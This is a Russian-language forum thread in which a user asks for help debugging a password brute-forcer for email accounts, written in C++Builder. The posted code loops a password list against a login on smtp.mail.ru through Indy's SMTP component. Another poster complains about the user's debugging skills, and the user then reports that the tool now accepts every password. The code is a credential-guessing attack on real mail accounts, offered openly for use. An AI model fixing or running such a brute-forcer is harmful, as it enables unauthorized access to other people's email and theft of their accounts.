всем привет, хочу написать брутер мыл в билдере. использую компонент IdHTTP. проверка пароля идёт в цикле, но при ошибочном подключении программа просто выдаёт ошибку и вылетает из цикла. незнаю, может я не так использую обработку исключений, помогите с задачей плз. вот код Code: TStringList *pass = new TStringList; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { IdSMTP1->AuthenticationType = atLogin; IdSMTP1->UserId = Edit1->Text; //логин на сервере for(int i = 0; i < pass->Count; i++) { IdSMTP1->Password = pass->Strings[i]; // пароль IdSMTP1->Host = "smtp.mail.ru"; // URL smtp try { IdSMTP1->Connect(); ShowMessage(pass->Strings[i]); } catch(...) { Label1->Caption = i; } } } //--------------------------------------------------------------------------- void __fastcall TForm1::Button2Click(TObject *Sender) { OpenDialog1->Execute(); pass->LoadFromFile(OpenDialog1->FileName); Button1->Enabled = true; }
Проблемы с отрисовкой. ты отладка программ знаешь что такое? как вы народ программируете то? жуть. у тебя в первом посте даже вопрос не про это.. бррррр. чувствую тут нужен faq по процессу проектирования ПО... хотя вряд ли кто читать будет. теги даже ввести не хотят... ну вот как так то, а?
это я исправил, просто сделал синхронизацию потока. только возникла уже проблема с самим компонентом, чтото он под все пароли подключается